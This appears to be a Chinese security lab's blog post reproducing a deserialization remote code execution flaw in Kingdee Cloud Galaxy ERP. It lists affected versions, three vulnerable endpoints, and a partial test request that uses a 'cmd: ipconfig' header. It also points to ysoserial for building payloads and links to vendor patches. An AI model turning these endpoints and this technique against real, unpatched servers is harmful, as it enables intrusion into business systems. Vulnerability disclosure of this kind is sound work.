网安引领时代，弥天点亮未来
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金蝶云星空是一款云端企业资源管理（ERP）软件，为企业提供财务管理、供应链管理以及业务流程管理等一体化解决方案。金蝶云·星空聚焦多组织，多利润中心的大中型企业，以 “开放、标准、社交”三大特性为数字经济时代的企业提供开放的 ERP 云平台。服务涵盖：财务、供应链、智能制造、阿米巴管理、全渠道营销、电商、HR、企业互联网服务，帮助企业实现数字化营销新生态及管理重构等，提升企业数字化能力。金蝶云星空存在远程代码执行漏洞，该漏洞是由于金蝶云星空管理中心的通信层默认采用的是二进制数据格式，需要进行序列化与反序列化，在此通信过程中未做签名或校验，攻击者可以恶意修改传输的数据，导致执行任意代码执行。
金蝶云星空 6.x <= 6.2.1012.4
7.0.352.16 <= 金蝶云星空 7.x <= 7.7.0.202111
8.0.0.202205 <= 金蝶云星空 8.x <= 8.1.0.20221110
1.访问漏洞环境
2.对漏洞进行复现
POC （3个）（POST）
POST /Kingdee.BOS.ServiceFacade.ServicesStub.User.UserService.SaveUserPassport.common.kdsvc?dcInfo=11 HTTP/1.1POST /Kingdee.BOS.ServiceFacade.ServicesStub.InOutDataService.GetImportOutData.common.kdsvc HTTP/1.1POST /k3cloud/Kingdee.BOS.ServiceFacade.ServicesStub.DevReportService.GetBusinessObjectData.common.kdsvc HTTP/1.1
漏洞复现1（其余自行验证）
POST /K3Cloud/Kingdee.BOS.ServiceFacade.ServicesStub.User.UserService.SaveUserPassport.common.kdsvc?dcInfo=11 HTTP/1.1Host: 127.0.0.1Content-Length: 15651Accept: text/plain, */*; q=0.01User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.111 Safari/537.36Content-Type: text/jsonAccept-Encoding: gzip, deflatecmd: ipconfigConnection: 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测试ipconfig（漏洞存在）
3.反序列化payload生成工具
https://github.com/frohoff/ysoserial/releases/tag/v0.0.6https://github.com/incredibleindishell/ysoserial.net-complied
漏洞参数：ap0，使用ysoserial生成payload，具体参考如下链接
目前厂商已发布升级补丁以修复漏洞，补丁获取链接：
https://vip.kingdee.com/knowledge/specialDetail/352491453127123200?category=352491970117034240&id=388994085535220992&productLineId=1https://vip.kingdee.com/article/390545756555520256?productLineId=1&isKnowledge=2
弥天简介
学海浩茫，予以风动，必降弥天之润！弥天安全实验室成立于2019年2月19日，主要研究安全防守溯源、威胁狩猎、漏洞复现、工具分享等不同领域。目前主要力量为民间白帽子，也是民间组织。主要以技术共享、交流等不断赋能自己，赋能安全圈，为网络安全发展贡献自己的微薄之力。
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原文始发于微信公众号（弥天安全实验室）：【成功复现】金蝶云星空反序列化远程代码执行漏洞
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